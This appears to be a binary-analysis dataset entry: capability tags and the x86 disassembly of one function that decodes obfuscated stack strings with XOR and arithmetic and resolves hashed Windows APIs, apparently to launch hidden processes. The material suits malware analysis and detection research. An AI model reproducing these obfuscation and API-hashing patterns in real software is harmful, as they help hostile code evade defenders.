Function at 0x416c34
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2e4
push ebx
push ebp
push esi
push edi
mov word [esp + 0x30], 0x6977
xor ecx, ecx
mov byte [esp + 0x32], 0x7d
mov al, byte [esp + ecx + 0x30]
xor al, 0x1a
mov byte [esp + ecx + 0x144], al
inc ecx
cmp ecx, 3
jl 0x416c4c
mov byte [esp + 0x147], 0
xor ecx, ecx
mov dword [esp + 0xa0], 0xd9dcd2d1
mov word [esp + 0xa4], 0xcfd8
mov al, byte [esp + ecx + 0xa0]
xor al, 0xbd
mov byte [esp + ecx + 0x154], al
inc ecx
cmp ecx, 6
jl 0x416c7e
lea edx, [esp + 0x154]
mov byte [esp + 0x15a], 0
lea ecx, [esp + 0x144]
call fcn.0041862d
mov ebx, eax
mov dword [esp + 0xa0], ebx
test ebx, ebx
je 0x41764a
push 0x1000
call fcn.0040570b
mov edi, eax
pop ecx
test edi, edi
je 0x417643
and dword [esp + 0xb0], 0
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0x14]
mov word [esp + 0x14], 0x7c
push eax
push ebx
call fcn.00405d9c
mov esi, eax
add esp, 0xc
test esi, esi
je 0x41763c
push 0x1e
pop ebx
xor edx, edx
mov dword [esp + 0xe0], 0xd1a172b
mov dword [esp + 0xe4], 0x5f0c581a
mov ecx, edx
mov dword [esp + 0xe8], 0x1a131619
mov dword [esp + 0xec], 0x5f100b5f
mov word [esp + 0xf0], 0x1013
mov byte [esp + 0xf2], bl
mov dword [esp + 0xf3], 0x385f511b
mov word [esp + 0xf7], 0x1110
mov byte [esp + 0xf9], 0x11
mov byte [esp + 0xfa], bl
mov word [esp + 0xfb], 0x135f
mov byte [esp + 0xfd], 0x10
mov byte [esp + 0xfe], bl
mov dword [esp + 0xff], 0xb165f1b
mov byte [esp + 0x103], 0x75
mov al, byte [esp + ecx + 0xe0]
xor al, 0x7f
mov byte [esp + ecx + 0x228], al
inc ecx
cmp ecx, 0x24
jl 0x416d98
mov byte [esp + 0x24c], dl
mov ecx, edx
mov word [esp + 0x30], 0x20
mov dword [esp + 0x14], 0x202002c
mov dword [esp + 0x18], 0x4f0b010e
mov dword [esp + 0x1c], 0xa010603
mov dword [esp + 0x20], 0x34a4f55
mov word [esp + 0x24], 0x651c
mov al, byte [esp + ecx + 0x14]
xor al, 0x6f
mov byte [esp + ecx + 0x19c], al
inc ecx
cmp ecx, 0x12
jl 0x416de5
lea eax, [esp + 0x228]
mov byte [esp + 0x1ae], dl
push eax
call fcn.00412606
pop ecx
lea eax, [esp + 0x30]
xor ebp, ebp
push eax
push esi
call fcn.00405c00
pop ecx
pop ecx
test eax, eax
je 0x416e29
mov ecx, esi
call fcn.0041b786
mov ebp, eax
lea eax, [esp + 0x19c]
push ebp
push eax
call fcn.00412606
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.00405d9c
add esp, 0x14
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0x14]
push eax
push 0
call fcn.00405d9c
add esp, 0xc
mov esi, eax
lea eax, [esp + 0x150]
push eax
push esi
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040f780
mov dword [esp + 0x150], eax
pop ecx
test eax, eax
je 0x41760d
push 0x47
mov byte [esp + 0xac], 0x2d
xor ecx, ecx
mov byte [esp + 0xad], bl
mov esi, 0xff
mov word [esp + 0xae], 0x2926
pop edx
movzx eax, byte [esp + ecx + 0xa8]
add ax, dx
and ax, si
mov word [esp + ecx*2 + 0x15c], ax
inc ecx
cmp ecx, 4
jl 0x416eb2
xor eax, eax
xor ecx, ecx
push 0x800
mov word [esp + 0x168], ax
mov edx, 0x1a52823b
lea eax, [esp + 0x160]
inc ecx
push edi
push eax
call fcn.00412cbc
call eax
test eax, eax
je 0x417600
push 0x5c
pop eax
mov word [esp + 0x148], ax
xor eax, eax
mov word [esp + 0x14a], ax
xor ecx, ecx
mov dword [esp + 0xac], 0x354835fe
movzx eax, byte [esp + ecx + 0xac]
add ax, 0x30
and ax, si
mov word [esp + ecx*2 + 0x168], ax
inc ecx
cmp ecx, 4
jl 0x416f1f
xor eax, eax
lea ecx, [esp + 0x208]
push 0xf
pop edx
mov word [esp + 0x170], ax
call fcn.0041b612
lea eax, [esp + 0x148]
push eax
push edi
call fcn.00405bcb
lea eax, [esp + 0x210]
push eax
push edi
call fcn.00405bcb
lea eax, [esp + 0x178]
push eax
push edi
call fcn.00405bcb
push dword [esp + 0x168]
mov edx, dword [esp + 0x168]
mov ecx, edi
call fcn.0041b71c
add esp, 0x1c
test al, al
je 0x4174bd
mov dword [esp + 0x34], 0xa0959e83
xor ecx, ecx
mov dword [esp + 0x38], 0x95924c91
mov dword [esp + 0x3c], 0x8f4c9198
mov dword [esp + 0x40], 0x91a09a9b
mov dword [esp + 0x44], 0x954ca09a
mov dword [esp + 0x48], 0x98514c9a
mov word [esp + 0x4c], 0x369f
mov al, byte [esp + ecx + 0x34]
sub al, 0x2c
mov byte [esp + ecx + 0xbc], al
inc ecx
cmp ecx, 0x1a
jl 0x416fd8
lea eax, [esp + 0xbc]
mov byte [esp + 0xd6], 0
push edi
push eax
call fcn.00412606
push 0x40
lea eax, [esp + 0x1d0]
mov dword [esp + 0x1cc], 0x44
push 0
push eax
call fcn.00403960
add esp, 0x14
xor eax, eax
mov word [esp + 0x1f0], ax
xor ecx, ecx
lea eax, [esp + 0x1b0]
mov edx, 0x322e7433
inc ecx
push eax
lea eax, [esp + 0x1c4]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push ebp
push edi
call fcn.00412cbc
call eax
xor edx, edx
mov ecx, edx
test eax, eax
je 0x41739e
mov dword [esp + 0x34], 0x10100620
mov dword [esp + 0x38], 0x15000016
mov dword [esp + 0x3c], 0xa1f1f06
mov dword [esp + 0x40], 0x12070053
mov dword [esp + 0x44], 0x3530701
mov dword [esp + 0x48], 0x16101c01
mov word [esp + 0x4c], dx
mov byte [esp + 0x4e], 0x79
mov al, byte [esp + ecx + 0x34]
xor al, 0x73
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x1b
jl 0x41709d
push 0x5c
pop eax
mov byte [esp + 0x2f], dl
mov ecx, edx
mov dword [esp + 0x50], 0x1a490a46
mov dword [esp + 0x54], 0x81d010a
mov dword [esp + 0x58], 0x491a021a
mov dword [esp + 0x5c], 0xc1b0a46
mov dword [esp + 0x60], 0x490c1d08
mov dword [esp + 0x64], 0x46492f46
mov dword [esp + 0x68], 0x4490a1a
mov dword [esp + 0x6c], 0x1d1c0700
mov dword [esp + 0x70], 0x446490c
mov word [esp + 0x74], 0x4906
mov byte [esp + 0x76], 0x58
mov byte [esp + 0x77], al
mov dword [esp + 0x78], 0x1b1d4649
mov dword [esp + 0x7c], 0x54c4b49
mov dword [esp + 0x80], 0x46494b1a
mov dword [esp + 0x84], 0x4b49071d
mov dword [esp + 0x88], 0x7003e35
mov word [esp + 0x8c], 0x60d
mov byte [esp + 0x8e], bl
mov dword [esp + 0x8f], 0x1919281a
mov dword [esp + 0x93], 0x5060639
mov dword [esp + 0x97], 0x1a054c35
mov byte [esp + 0x9b], 0x4b
mov al, byte [esp + ecx + 0x50]
xor al, 0x69
movzx eax, al
mov word [esp + ecx*2 + 0x250], ax
inc ecx
cmp ecx, 0x4c
jl 0x417179
xor eax, eax
mov word [esp + 0x2e8], ax
lea eax, [esp + 0x14]
push eax
call fcn.00412606
pop ecx
lea eax, [esp + 0x208]
push eax
lea eax, [esp + 0x254]
push edi
push eax
call fcn.0041b96a
mov esi, eax
add esp, 0xc
test esi, esi
je 0x417600
push 0x47
pop eax
mov dword [esp + 0xb4], 0x354f5125
xor ecx, ecx
mov byte [esp + 0xb8], 0x52
mov edx, 0xff
mov byte [esp + 0xb9], al
mov byte [esp + 0xba], 0x45
movzx eax, byte [esp + ecx + 0xb4]
add ax, bx
and ax, dx
mov word [esp + ecx*2 + 0x18c], ax
inc ecx
cmp ecx, 7
jl 0x4171f4
xor eax, eax
xor ecx, ecx
push 0x800
mov word [esp + 0x19e], ax
mov edx, 0x1a52823b
lea eax, [esp + 0x190]
inc ecx
push edi
push eax
call fcn.00412cbc
call eax
test eax, eax
je 0x417392
push 0x44
lea eax, [esp + 0x1c4]
push 0
push eax
call fcn.00403960
add esp, 0xc
mov dword [esp + 0x1c0], 0x44
xor eax, eax
xor ecx, ecx
mov word [esp + 0x1f0], ax
mov edx, 0x322e7433
lea eax, [esp + 0x1b0]
inc ecx
push eax
lea eax, [esp + 0x1c4]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push esi
push edi
call fcn.00412cbc
call eax
test eax, eax
jne 0x417392
push 0x5c
pop eax
push 0x47
mov dword [esp + 0x54], 0x2c736648
xor ecx, ecx
mov dword [esp + 0x58], 0x69662579
mov dword [esp + 0x5c], 0x66792569
mov dword [esp + 0x60], 0x6e257078
mov dword [esp + 0x64], 0x66792573
mov dword [esp + 0x68], 0x78257078
mov dword [esp + 0x6c], 0x696a6d68
mov dword [esp + 0x70], 0x776a717a
mov dword [esp + 0x74], 0x77482531
mov dword [esp + 0x78], 0x6a79666a
mov dword [esp + 0x7c], 0x68747755
mov word [esp + 0x80], 0x786a
mov byte [esp + 0x82], 0x78
mov byte [esp + 0x83], al
mov dword [esp + 0x84], 0x6e666b25
mov dword [esp + 0x88], 0x25407871
mov dword [esp + 0x8c], 0x79786671
mov dword [esp + 0x90], 0x77776a25
mov dword [esp + 0x94], 0x253f7774
mov word [esp + 0x98], 0x7d2a
mov byte [esp + 0x9a], 0xf
pop ebx
mov al, byte [esp + ecx + 0x50]
sub al, 5
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, ebx
jl 0x41735f
mov byte [esp + 0x127], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0xe4]
push eax
call fcn.00412606
pop ecx
pop ecx
push 0x1e
pop ebx
push esi
call fcn.004056f0
pop ecx
jmp 0x417600
mov dword [esp + 0x14], 0x230c7e7e
mov dword [esp + 0x18], 0x3c313524
mov dword [esp + 0x1c], 0x3c0c2235
mov dword [esp + 0x20], 0x3534313f
mov dword [esp + 0x24], 0x20337e22
mov byte [esp + 0x28], 0x20
mov al, byte [esp + ecx + 0x14]
xor al, 0x50
mov byte [esp + ecx + 0x34], al
inc ecx
cmp ecx, 0x15
jl 0x4173cb
mov byte [esp + 0x49], dl
mov ecx, edx
mov dword [esp + 0x12c], 0xcad9caeb
mov dword [esp + 0x130], 0xd9d7f4cc
mov word [esp + 0x134], 0xdddc
mov byte [esp + 0x136], 0xca
mov al, byte [esp + ecx + 0x12c]
xor al, 0xb8
mov byte [esp + ecx + 0x174], al
inc ecx
cmp ecx, 0xb
jl 0x417409
mov byte [esp + 0x17f], dl
mov ecx, edx
mov dword [esp + 0xe0], 0xbef7f8da
mov dword [esp + 0xe4], 0xedeab9ed
mov dword [esp + 0xe8], 0xb9edebf8
mov dword [esp + 0xec], 0xfaf6ebe9
mov dword [esp + 0xf0], 0xa2eaeafc
mov dword [esp + 0xf4], 0xeaf8f5b9
mov dword [esp + 0xf8], 0xebfcb9ed
mov dword [esp + 0xfc], 0xa3ebf6eb
mov dword [esp + 0x100], 0x93e1bcb9
mov al, byte [esp + ecx + 0xe0]
xor al, 0x99
mov byte [esp + ecx + 0x50], al
inc ecx
cmp ecx, 0x24
jl 0x41748b
mov byte [esp + 0x74], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x17c]
push eax
push 0x4d
jmp 0x4175f3
push 0x5c
pop eax
xor edx, edx
mov byte [esp + 0x14], al
mov byte [esp + 0x15], al
mov ecx, edx
mov dword [esp + 0x16], 0x93a2a18a
mov dword [esp + 0x1a], 0xa0939a8f
mov dword [esp + 0x1e], 0x8f9d9a8a
mov word [esp + 0x22], 0x9392
mov byte [esp + 0x24], 0xa0
mov byte [esp + 0x25], al
mov word [esp + 0x26], 0x9e91
mov byte [esp + 0x28], 0x9e
mov al, byte [esp + ecx + 0x14]
sub al, 0x2e
mov byte [esp + ecx + 0x34], al
inc ecx
cmp ecx, 0x15
jl 0x417500
mov byte [esp + 0x49], dl
mov ecx, edx
mov dword [esp + 0x138], 0x6e5d6e4f
mov dword [esp + 0x13c], 0x5d6b4870
mov word [esp + 0x140], 0x6160
mov byte [esp + 0x142], 0x6e
mov al, byte [esp + ecx + 0x138]
add al, 4
mov byte [esp + ecx + 0x180], al
inc ecx
cmp ecx, 0xb
jl 0x41753e
mov byte [esp + 0x18b], dl
mov ecx, edx
mov dword [esp + 0xbc], 0x8ed5c8aa
mov dword [esp + 0xc0], 0xd9de87db
mov dword [esp + 0xc4], 0x87ccdbd0
mov dword [esp + 0xc8], 0xccd3d0cd
mov dword [esp + 0xcc], 0xc8d387a2
mov dword [esp + 0xd0], 0xcc87dbda
mov dword [esp + 0xd4], 0xd9d6d9d9
mov dword [esp + 0xd8], 0xdf8c87a1
mov byte [esp + 0xdc], 0x71
mov al, byte [esp + ecx + 0xbc]
sub al, 0x67
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, 0x21
jl 0x4175bd
mov byte [esp + 0x101], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0xe4]
push eax
lea eax, [esp + 0x188]
push eax
push 0x51
lea eax, [esp + 0x44]
push eax
call fcn.00412723
add esp, 0x14
push dword [esp + 0x14c]
call fcn.004056f0
pop ecx
push ebp
call fcn.004056f0
pop ecx
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0x14]
push eax
push 0
call fcn.00405d9c
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x416d07
mov ebx, dword [esp + 0xa0]
push edi
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2e4
ret